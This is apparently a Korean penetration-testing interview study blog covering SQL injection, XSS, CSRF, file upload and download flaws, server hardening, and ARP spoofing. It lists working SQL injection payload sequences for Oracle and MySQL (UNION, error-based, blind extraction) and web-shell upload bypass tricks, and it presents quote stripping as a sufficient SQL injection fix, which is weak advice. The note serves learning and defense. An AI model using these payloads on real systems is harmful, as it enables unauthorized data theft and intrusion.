면접 준비

심야·2023년 7월 27일

모의해킹

목록 보기

1/59

화이트리스트 필터링

리스트에 포함된 것만 허용하고 그 외의 것은 다 거부하는 방식

파라미터 값이 테이블 또는 컬럼 등의 객체명으로 사용된 경우에는 권고할 필요가 있다. 인젝션이 발생했는데 해당 키워드가 DB의 객체일 경우에는 블랙리스트 필터링 우회 가능성이 높아지기 때문에 허용할 테이블 또는 컬럼 명을 목록화하고 해당 목록 외에는 차단을 권고한다.

블랙리스트 필터링

블랙리스트는 리스트에 포함된 것을 다 거부하고 그 외의 것은 다 허용하는 방식

과도한 차단은 보안성 강화 측면에서 효과적이지만 서비스 장애 또는 사용자 불편을 초래할 수 있다. 따라서 고객사 환경에 맞춰서 적절하게 키워드를 필터링 해야한다.

// replace single quote
$unsafeVariable = str_replace("'", "", $unsafeVariable);
// replace escaped single quote
$unsafeVariable = str_replace("\\'", "", $unsafeVariable);

Tips

문자열 타입일 경우에는 쿼리 구문에서 작은 따옴표 삽입 가능 여부가 공격의 핵심이 되기 때문에 작은 따옴표 주입을 차단하면 복잡한 필터링 설정 없이 취약점 해결이 가능하다.

Prepared Statement

DB에서 해석이 가능한 상태로 미리 컴파일한 다음에 입력한 값을 대입하는 방식으로 쿼리 구문 조작이 성립되지 않는 가장 안전한 방식이다.

Statement와 Prepared Statement 차이 (파싱과 바인딩)

일반적인 Statement를 사용해 SELECT 쿼리를 입력했을 때에는 매번 parse(구문 분석)부터 bind(치환), execute(실행), patch(데이터 추출) 모든 과정을 수행한다. 하지만 prepared statement를 사용하는 경우에는 효율을 높이기 위해 parse과정을 최초 1번만 수행하고 이후에는 생략할 수 있다. parse 과정을 모두 거친 후에 생성된 결과는 메모리 어딘가에 저장 해두고 필요할 때마다 사용한다. 반복적으로 트리를 사용하기 위해서 자주 변경되는 부분을 변수로 선언하고 매번 다른 값을 대입(바인딩)해 사용한다. 바인딩 데이터는 SQL 문법이 아닌 내부의 인터프리터나 컴파일 언어로 처리하기 때문에 문법적인 의미를 가질 수 없다. 따라서 바인딩 변수를 사용했을 때, 쿼리의 문법 처리과정이 미리 선 수행되기 때문에 바인딩 데이터는 SQL 문법적인 의미를 가질 수 없어서 SQL 인젝션 공격을 방어할 수 있다.

SQL 인젝션

SQL 쿼리를 주입해 데이터 추출, 인증 우회, 데이터 변조(삭제, 수정)가 가능한 취약점

작은 따옴표만 막으면 SQL 인젝션을 방어할 수 있을까?

숫자 입력을 받는 경우 작은 따옴표가 필요 없기 때문에 작은 따옴표를 방어한다고 모든 인젝션을 방어할 수는 없다.

스키마 객체

데이터베이스에서 자료의 구조, 자료의 표현 방법, 자료 간의 관계를 형식 언어로 정의한 구조

데이터베이스 객체

테이블, 인덱스, 프로시져, 트리거 , 뷰 , 시퀀스 등 데이터베이스 내부에서 생성되어 관리되는 모든 대상을 의미한다.

데이터 딕셔너리

데이터베이스 자원을 효율적으로 관리하기 위한 다양한 정보를 저장하는 시스템 테이블

데이터 딕셔너리 뷰의 스키마 객체

MySQL
Information_schema
Oracle
all_tables, all_tab_columns, tabs, cols, tab, col
USER_TABLES
현재 사용자 소유의 관계형 테이블에 관한 정보
USER_TAB_COLUMNS
현재 사용자 소유의 모든 테이블, 뷰, 클러스터에 대한 컬럼 정보

Oracle

UNION


# 컬럼 개수 파악
' order by 1--
# 데이터 형 조회
NULL 형 = ' union select null,null,null from dual --
숫자형 = ' union select null,null,123 from dual --
문자형 = ' union select null,null,'123' from dual --
# 테이블 명 조회 
' union select null,table_name,null,null from all_tables -- 
# 컬럼 명 조회
' union select null,column_name,null,null from all_tab_columns where table_name='useegod' --
# 데이터 조회
' union select null,alias,null,name from useegod --

Error Based

# 테이블 개수 확인
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# 테이블 명 조회
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# 테이블 컬럼 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='useegod_ANSWER'))=1 and '%1%'='%1
# 컬럼 명 조회
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='useegod_ANSWER') where rnum=1))= 1 and '%1%'='%1
# 데이터 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(ANSWER_COLUMN) from useegod_ANSWER))=1 and '%1%'='%1
# 데이터 조회
a%' and ctxsys.drithsx.sn(user,(select ANSWER_COLUMN from (select ANSWER_COLUMN, rownum as rnum from useegod_ANSWER) where rnum=1))=1 and '%1%'='%1

# 테이블 개수 확인
' and (select count(table_name) from all_tables) < 74 -- 
# 테이블 명 조회
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) < 130 -- 
# 컬럼 개수 조회
' and (select count(column_name) from all_tab_columns where table_name='useegod')=21 --
# 컬럼명 조회
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='useegod') where rnum=1),1,1)) < 130 --
# 데이터 수 조회
' and (select count(userID) from USEEGOD) < 324 --
# 데이터 조회
' AND ASCII(SUBSTR((SELECT userID FROM (SELECT ROWNUM AS RNUM, userID FROM USEEGOD) WHERE RNUM=1),1,1)) < 130 --

# n번째 행 데이터를 조회하려면 rnum 값을 변경하고, n번째 글자를 조회하려면 n 값을 변경한다.
'and+ascii(substr((select+password+from+(select+rownum+as+rnum,password+from+USERS)+where+rnum=2),n,1)) > 97 --

MySQL

UNION

# 컬럼 개수 파악
ORDER BY 1 #

# DB 이름 파악
union select '1', database(), '3', '4

# 테이블 이름 파악
UNION SELECT '1', table_name, '3', '4' FROM information_schema.tables WHERE table_schema='DB 이름' #

# 컬럼 이름 파악
UNION SELECT '1', column_name, '3', '4' FROM information_schema.columns WHERE table_name='테이블 이름' #

# 데이터 추출
UNION SELECT '1', 컬럼 이름, '3', '4' FROM 테이블 이름 #

Error based

extractvalue 함수도 사용 가능하다.


# 에러 발생시켜 인젝션 파악
1' and updatexml(null, concat(0x3a, 'test'), null) and '1'='1

# DB 이름 파악
1' and updatexml(null, concat(0x3a, (select database())), null) and '1'='1

# 테이블 이름 파악
1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'db name' limit 0, 1)), null) and '1'='1

# 컬럼 이름 파악
1' and updatexml(null, concat(0x3a, ( select column_name from information_schema.columns where table_name='table name' limit 0, 1)), null) and '1'='1

# 데이터 추출
1' and updatexml(null, concat(0x3a, (select [column name] from table name)), null) and '1'='1


# DB 이름 개수 파악
'and(length((select+database()))>0)and'1'='1

# DB 이름 파악
mario'and(ascii(substring((select+database()),1,1))>65)and'1'='1

# 테이블 이름 개수 파악 - 
mario'+and+(length((select+table_name+from+information_schema.tables+where+table_schema='DB 이름'+limit+0,1))=10)+and'1'='1

# 테이블 이름 파악
mario'+and+(ascii(substring((select+table_name+from+information_schema.tables+where+table_schema='sqli_3'+limit+0,1),1,1))>65)+and'1'='1

# 컬럼 이름 파악
mario'+and+(ascii(substring((select+column_name+from+information_schema.columns+where+table_name='flag_table'+limit+0,1),1,1))>65)+and'1'='1

# 데이터 추출
mario'+and+(ascii(substring((select+flag+from+flag_table+limit+0,1),1,1))=97)+and'1'='1

UNION 공격

두 집합에 대해 중복되는 행을 제외한 합집합을 출력할 때 사용
게시판처럼 SQL 질의문 삽입 결과가 화면에 출력 되는 곳에 적용하며 앞, 뒤 SELECT 의 컬럼 개수와 데이터베이스 컬럼의 데이터 타입, 웹 애플리케이션 변수의 데이터 타입이 같아야 한다.

Error based 공격

DB 관련한 Error 메시지가 화면에 출력 될 때 사용 가능한 SQL Injection

updatexml()은 XML에서 Xpath 표현식에 일치하는 데이터를 추출해 반환하지만 XPath 표현식에 에러가 발생하는 임의의 SQL 쿼리를 삽입해 실행하면 쿼리 실행 결과가 오류 메시지에 포함되어 출력된다.

DB 질의 결과가 화면에 안 나오는 환경에서 사용한다.
예를 들어 SQLi 공격으로 로그인을 시도했는데 성공 또는 실패 응답만 확인할 수 있거나 게시판에서 idx=8 and 1=1 참이 되는 쿼리로 게시물을 요청하니 2023-06-30 날짜가 출력 되지만 idx=8 and 1=2 거짓이 되는 쿼리로 게시물을 요청하면 날짜가 출력 되지 않는다. 이처럼 HTTP 통신 응답 결과로 참과 거짓을 판별해 데이터를 추론해야 할 때 사용한다.

대응 방안

데이터 유형 검사
- 문자열 타입이면 작은 따옴표 앞에 백슬래시를 추가한다.
- Integer 타입이면 입력받은 데이터가 Integer 타입인지 검사한다.
- 날짜형 타입이면 날짜 형식에 맞는 패턴을 사용하거나 사용하는 특정 문자만 포함되어 있는지 검사한다.
Prepared Statement
사용할 수 없는 위치에서 화이트 리스트 기반 필터링
- 테이블 이름, 컬럼 이름은 데이터베이스 객체이기도 하며 테이블 이름, 컬럼 이름, ORDER BY 절은 프리페어드 스테이트먼트를 사용할 수 없어 화이트 리스트 기반으로 필터링한다. 테이블과 컬럼 이름 그리고 'ORDER BY'와 같은 절은 데이터가 아닌 쿼리 구조의 일부로서 매개 변수화할 수 없으며 정렬 작업은 데이터 값을 기반으로 하지만 절 자체 즉, 특정 컬럼 또는 컬럼 집합을 기준으로 정렬하라는 명령은 쿼리 구조의 일부이기 때문이다. Prepared Statement는 데이터를 파라미터로 전달하는 역할을 하기 때문에 데이터 정렬의 기능을 하는 ORDER BY절에서는 쓰이지 않는다.
추가적으로 블랙 리스트 기반 필터링
비밀번호를 사용한다면 해시화

XSS

클라이언트 측에 임의의 코드를 삽입하는 공격으로 피해자 브라우저에서 실행된다. (서버에는 영향 없음)

공격 종류

세션탈취
키로거 삽입
피싱 페이지 유도

공격 방법

Stored xss

서버에 스크립트를 저장하는 공격 기법으로 게시판과 같은 글쓰기 페이지에서 공격 스크립트를 작성해 서버에 삽입한다.

공격 대상
서버에 접속하는 모든 대상이며, 특정 대상에게만 공격할 수는 없다.
특징
서버에 기록, 흔적이 남는다.

Reflected xss

서버에 스크립트를 저장하지 않는 방식으로 검색 기능, 아이디 중복 검사 기능과 같이 사용자가 입력한 데이터를 브라우저가 반사할 때 사용 가능한 공격 기법이다.

특징
모든 페이지와 파라미터에서 취약점이 존재할 가능성이 있다.
공격 방법

입력한 데이터가 브라우저에서 출력되는지 확인한다.
<. ", ', > 가 필터링 되는지 확인한다.
POST 메소드를 사용한다면 GET 메소드로도 브라우저에 출력되는지 확인한다.
스크립트를 작성한다.
POC 코드가 동작하면 링크를 Short 링크로 변경해 피해자아게 클릭을 유도한다.
링크로 전달해야 해 GET 방식과 사회공학 기법이 필요하다.

DOM xss
악의적인 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저가 스크립트를 해석하는 단계에서 발생하는 공격이다.

DOM vs reflected

DOM XSS
웹 브라우저에서 사용자 입력 값을 통해 동적 페이지 구성
Reflected XSS
서버 측에서 사용자 입력 값을 통해 동적 페이지 구성

결론 : 버프로 인터셉트 가능하면 reflected XSS 이다.

대응방안

사용자 입력값에서 HTML 특수 문자들을 HTML 엔티티 인코딩 방법으로 치환한다. 그리고 HTML 엔티티 인코딩으로 다 막을 수 있다.

만약 사용자 입력 값에 HTML 형태를 지원해야 한다면 화이트 리스트 필터링을 해야한다.

HTML 에디터는 엔티티 인코딩으로 막을 수 없다!

사용자 입력값에서 HTML 특수문자를 엔티티 인코딩으로 치환한다.
화이트리스트 필터링으로 꼭 필요한 HTML 태그는 허용한다.
블랙리스트 필터링으로 이벤트 핸들러를 필터링한다.

stored : reflected 차이

스크립트가 저장되는 위치가 다르다. stored는 서버에 저장되지만 reflected는 서버에 저장되지 않는다.
리플렉티드는 링크를 통해서 스크립트를 보내야 해 특정 대상을 타겟팅할 수 있다. stored는 서버에 저장해 게시물을 읽은 모두가 대상이기 때문에 불특정 다수가 타겟팅이다.

stored xss 무지성 스크립트 삽입 금지!!

일반 순수한 데이터 저장
데이터 수정하는 페이지 리피터로 잡아서 실행
console.log 또는 등을 사용해 안전하게 진행
XSS 글자 수 제한 =>
XSS는 발생하나 글자 수 제한으로 공격이 진행되지 않는다면 보고서에 작성하지 않는 편이 좋다.

CSRF

클라이언트 측에서 "피해자 세션으로, 피해자 모르게" 서버에 요청을 보내는 공격

발생 위치

모든 요청에서 발생한다. 하지만 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록, 계정 삭제, 글 작성, 수정 등과 같은 민감한 요청에서 더욱 취약하다.

CSRF vs XSS

XSS는 피해자 브라우저에서 악의적인 스크립트를 실행하는 공격이다.
CSRF는 클라이언트에서 서버로 요청하는 공격이다.

XSS와 CSRF는 혼합해서 공격 가능

XSS와 CSRF는 연계가 가능하다. 그럼 CSRF는 반드시 XSS 공격이 기반되어야 하는가?

아니다! GET 메소드를 쓸 수 있다면 XSS 없이도 가능하다.

대응방안

개인정보 수정과 같은 페이지에서 발생한다면 해당 요청에 기존 패스워드 입력, 인증 링크 발송와 같은 인증 정보를 추가한다.
게시판 글쓰기, 수정과 같이 인증을 하지 않는 페이지에서 발생한다면 Referer Check, CSRF Token 등을 사용해 대응한다.

파일 업로드

업로드되는 파일의 검증이 미흡해 발생하며 서버에서 지정한 파일이 아닌 공격자가 원하는 파일을 업로드 하는 공격이다.

공격 종류

파일 크기와 개수를 제한하지 않으면 DOS 공격으로 서비스를 방해한다.
피싱
Deface
XSS (악성 스크립트로 악성코드 유포)
Web Shell

웹 쉘 X
서버 측 실행코드가 실행되는 걸 증명하는 용도로 POC 코드를 사용한다.

우회 기법

HTTP Header Content-Type 우회
Content-Type을 image/jpeg로 변경한다.
업로드 디렉토리 실행 권한이 없는 경우
디렉토리 트래버셜 공격으로 상위 경로에 업로드를 시도한다.
블랙리스트 필터링 우회
jsp 문자열을 필터링한다면 jspx 같은 업로드 가능한 확장자 명으로 우회한다.
File 시그니처
1. 파일 시그니처를 확인한다면 php 확장자로 변경한다.
2. HEX값 맨 뒤에 웹 쉘 코드 삽입하여 업로드 시도한다.
3. 웹 쉘 실행하면 그림의 HEX값과 맨 뒤에 코드 실행 결과 출력

대응방안

파일을 CLOB, BLOB 타입으로 DB에 저장한다.
화이트 리스트 필터링
1. 허용하는 확장자 지정
2. 역방향으로 확장자를 파싱해야한다.
서버 측에서 파일 명을 난수화 해 생성
1. 밀리세컨드 시간으로로 파일 생성
2. 랜덤 문자열 사용해 파일 생성
올바른 업로드 경로 설정
1. 웹 디렉터리 이외의 경로에 업로드 폴더 생성
2. 스크립트 실행 권한 제거
업로드 서버 분리
1. 파일이 저장되는 서버를 웹 서버와 분리한다.
2. 단 jsp, php와 같은 서버 엔진이 설치되어 있으면 안된다.

파일 다운로드

공격자가 원하는 임의의 파일을 다운로드 할 수 있다.

공격 목적

웹 애플리케이션 코드를 탈취해 추가 취약점을 찾기 위해
DB 접속 코드를 탈취해 DB에 접속해 데이터 추출을 하기 위해

공격 방법

상위 디렉토리로 이동해 원하는 파일을 다운로드 한다.

대응방안

파일 이름 파라미터와 일부 경로 파라미터로 구성된 경우
파일 이름 파라미터와 일부 경로 파라미터에 .. 과 / 특수문자 존재 시 경고창 출력 후 다운로드 기능 종료
키 값으로 다운로드하는 경우
프리페어드 스테이트먼트로 SQL 인젝션 대응해야한다. 인젝션에 취약할 경우 load_file 함수를 사용해 다운로드 취약점이 발생할 수 있다.

인증/인가

쿠키와 세션

인증

그 사람이 맞는지 확인하는 작업
ex) 회사 출입 시 사원증을 검사 해 출입하는 것

인가

허락된 사람에게 어떤 권한을 부여
ex) 회사에 들어온 사람이 권한이 부여되지 않은 방에 방문하려고 하는 것을 인가되지 않은 행위이다.

대응방안

서버에서 유효한 세션인지 검증한다.

정보 누출

아파치

[에러 페이지 설정]
아파치 httpd.conf 구성 파일의 전역 설정에서 아래와 같이 특정 에러 코드에 대해 웹 페이지로 리다이렉트 시킬 수 있음.
ErrorDocument 404 "페이지를 찾을 수 없습니다."
ErrorDocument 404 “/http://ctf.segfaulthub.com:9191/error.html”

[서버 버전 설정]
아파치 httpd.conf 구성 파일의 ServerTokens 값을 Prod 또는 ProductOnly로 변경

톰캣

[서버 버전 설정]
톰캣 경로/conf/server.xml 파일 Connector 에 Server 정보를 설정한다.

<Connector port="8081" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" Server="WebServer"/>

[에러 페이지 설정]

웹 애플리케이션 디렉토리 WEB-INF/web.xml에 에러 코드 발생 시 에러 페이지 리다이렉트 추가

<error-page>
    <error-code>404</error-code>
    <location>/errors/404.jsp</location>
</error-page>

[관리자 페이지 비밀번호 변경]

tomcat-user.xml 아이디, 패스워드 변경

<role rolename="manager-gui"/>
<role rolename="amdin"/>
<user username="admin" password="admin" roles="admin,manager-gui"/>
</tomcat-users>

[전역 오류 구성]

server.xml에 아래 코드 추가, 메모리 부족, 포트 충돌, 갑작스러운 서버 종료 등에 쓰이는 오류 처리 방법

<Host name="localhost" appBase="webapps">
    <!-- ... other configuration ... -->
    <Valve className="org.apache.catalina.valves.ErrorReportValve" showReport="false" showServerInfo="false" />
    <!-- ... other configuration ... -->
</Host>

Nmap

네트워크 탐색과 보안 진단을 위해 사용하는 오픈소스 도구로 외부로 오픈된 포트를 포트를 점검하고, 서비스 버전과 취약점 정보를 수집한다.

Nmap nse

Nmap을 사용해 백도어 설치 여부, 취약점 여부 등 더 많은 정보를 수집하기 위해 사용하는 스크립트

ARP Spoofing

ARP에 Reply 패킷으로 받은 MAC주소가 진짜인지 아닌지 검증하는 인증 시스템이 없다는 취약점을 이용한 공격입니다.

i. 공격자가 victim에게 gateway의 ip 주소와 공격자의 Mac 주소가 담긴 패킷을 지속적으로 전송합니다.

ⅱ. 그럼 victim은 ARP table에 해당 내용을 그대로 저장합니다.

Target’s ARP table
Gateway’s IP Attacker’s mac address

ⅲ. victim은 공격자를 gateway로 생각하고 공격자의 mac 주소로 데이터를 전송합니다.

공격자는 받은 데이터를 포워딩해주어야 합니다. (포워딩 해주지 않으면 Target은 정상적인 통신을 할 수 없어 공격을 의심할 수 있습니다)

ARP(주소 확인 프로토콜) 스푸핑은 근거리 통신망(LAN)에 있는 장치의 ARP 테이블을 변경하여 네트워크 트래픽을 조작하는 데 사용되는 악의적인 기술입니다. ARP는 IP 주소를 MAC(Media Access Control) 주소로 매핑하는 프로토콜로, 로컬 네트워크 내 통신에 필수적입니다. ARP 스푸핑은 대상 장치의 ARP 캐시를 손상시키기 때문에 ARP 중독이라고도 합니다.

ARP 스푸핑의 기본 원칙은 다음과 같습니다.

ARP 작업:

일반적인 네트워크에서 장치는 ARP를 사용하여 IP 주소와 연결된 MAC 주소를 검색합니다. 장치가 동일한 네트워크에 있는 다른 장치와 통신하려면 대상 장치의 MAC 주소를 알아야 합니다.
ARP 요청은 로컬 네트워크의 모든 장치에 "이 IP 주소를 가진 사람은 누구입니까?"라고 묻는 브로드캐스트 메시지입니다. 해당 IP 주소를 가진 장치는 MAC 주소로 응답합니다.
ARP 스푸핑 공격:

ARP 스푸핑 공격은 일반적으로 알려진 IP 주소를 가진 다른 장치라고 주장하는 공격자가 네트워크에서 가짜 ARP 메시지를 보내는 것과 관련됩니다.
공격자는 네트워크상의 다른 합법적인 장치인 것처럼 가장하여 자신의 MAC 주소를 사용하여 대상 장치에 ARP 응답을 보냅니다. 이로 인해 대상 장치는 공격자의 MAC 주소로 ARP 캐시를 업데이트하게 됩니다.
ARP 캐시가 손상되면 합법적인 장치로 향하는 트래픽이 공격자의 시스템으로 리디렉션됩니다.
ARP 스푸핑의 목적:

ARP 스푸핑 공격은 도청, 중간자 공격, 서비스 거부(DoS) 공격 등 다양한 악의적인 목적으로 사용될 수 있습니다.
도청: 공격자는 합법적인 두 장치 간의 네트워크 트래픽을 가로채서 캡처하여 잠재적으로 민감한 정보에 액세스할 수 있습니다.
MITM(Man-in-the-Middle): 공격자는 두 개의 통신 장치 사이에 위치함으로써 악성 데이터를 가로채거나 수정하거나 트래픽에 주입하여 마치 합법적인 통신인 것처럼 보이게 할 수 있습니다.
DoS 공격: ARP 스푸핑은 혼란을 야기하고 존재하지 않거나 도달할 수 없는 대상으로 트래픽을 리디렉션하여 네트워크 통신을 방해하는 데에도 사용될 수 있습니다.
대책:

ARP 스푸핑 공격으로부터 보호하기 위한 몇 가지 대책이 있습니다.

ARP 캐시 모니터링: ARP 캐시를 정기적으로 확인하고 모니터링하여 예상치 못한 변경 사항을 감지하고 대응합니다.
정적 ARP 항목: 무단 변경을 방지하기 위해 중요한 장치에서 정적 ARP 항목을 수동으로 구성합니다.
ARP 스푸핑 탐지 도구: 침입 탐지 시스템(IDS) 또는 침입 방지 시스템(IPS)을 사용하여 ARP 스푸핑 시도를 탐지하고 차단합니다.
네트워크 분할: 네트워크를 더 작은 세그먼트로 분리하여 잠재적인 ARP 스푸핑 공격 범위를 제한합니다.
ARP 스푸핑 방지 소프트웨어: 일부 소프트웨어는 악성 ARP 패킷을 탐지하고 차단하여 ARP 스푸핑을 적극적으로 방지할 수 있습니다.
ARP 스푸핑은 로컬 네트워크에서 중요한 보안 문제이므로 네트워크 관리자가 이러한 위협을 인식하고 그러한 공격으로부터 네트워크를 보호하기 위해 적절한 조치를 취하는 것이 중요합니다.

AD (Active Directory)

액티브 디렉토리는 PC, 유저, 정책 등을 중앙집중식으로 관리하는 디렉토리 서비스이다. 만약 해커가 AD 공격에 성공한다면, 해커는 전체 네트워크를 제어할 수 있다.

Same Origin Policy (SOP)

동일 출처 정책, 현재 페이지의 출처가 아닌 다른 출처로부터 온 데이터를 읽지 못하게 하는 브라우저의 보안 메커니즘

Same Origin: 현재 페이지와 동일한 출처 (프로토콜, 포트, 호스트 동일해야 함)

Cross Origin: 현재 페이지와 다른 출처

브라우저는 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하는 특징을 가지고 있습니다.
이 특징 때문에 악의적인 페이지가 클라이언트의 권한을 이용해 대상 사이트에 HTTP 요청을 보내고, HTTP 응답 정보를 획득 하는 코드를 실행할 수 있습니다. 이는 정보 유출과 같은 보안 위협이 생길 수 있는 요소가 됩니다. 따라서, 클라이언트 입장에서는 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 해야 합니다. 이것이 바로 브라우저의 보안 메커니즘인 동일 출처 정책 (Same Origin Policy, SOP) 입니다

교차 출처 리소스 공유, SOP의 제한을 받지 않고 Cross Origin의 데이터를 처리할 수 있도록 해주는 메커니즘
브라우저가 이러한 SOP에 구애 받지 않고 외부 출처에 대한 접근을 허용해주는 경우가 존재합니다. 예를 들면, 이미지나 자바스크립트, CSS 등의 리소스를 불러오는 <img>, <style>, <script> 등의 태그는 SOP의 영향을 받지 않습니다.

심야

하루하루 성실하게, 인생 전체는 되는대로.

면접 준비

모의해킹

화이트리스트 필터링

블랙리스트 필터링

Tips

Prepared Statement

Statement와 Prepared Statement 차이 (파싱과 바인딩)

SQL 인젝션

작은 따옴표만 막으면 SQL 인젝션을 방어할 수 있을까?

스키마 객체

데이터베이스 객체

데이터 딕셔너리

데이터 딕셔너리 뷰의 스키마 객체

Oracle

UNION

Error Based

Blind

MySQL

UNION

Error based

Blind

UNION 공격

Error based 공격

Blind 공격

대응 방안

XSS

공격 종류

공격 방법

DOM vs reflected

대응방안

HTML 에디터는 엔티티 인코딩으로 막을 수 없다!

stored : reflected 차이

stored xss 무지성 스크립트 삽입 금지!!

CSRF

발생 위치

CSRF vs XSS

XSS와 CSRF는 혼합해서 공격 가능

대응방안

파일 업로드

공격 종류

우회 기법

대응방안

파일 다운로드

공격 목적

공격 방법

대응방안

인증/인가

쿠키와 세션

인증

인가

대응방안

정보 누출

아파치

톰캣

Nmap

Nmap nse

ARP Spoofing

AD (Active Directory)

Same Origin Policy (SOP)

Cross Origin Resource Sharing (CORS)

0개의 댓글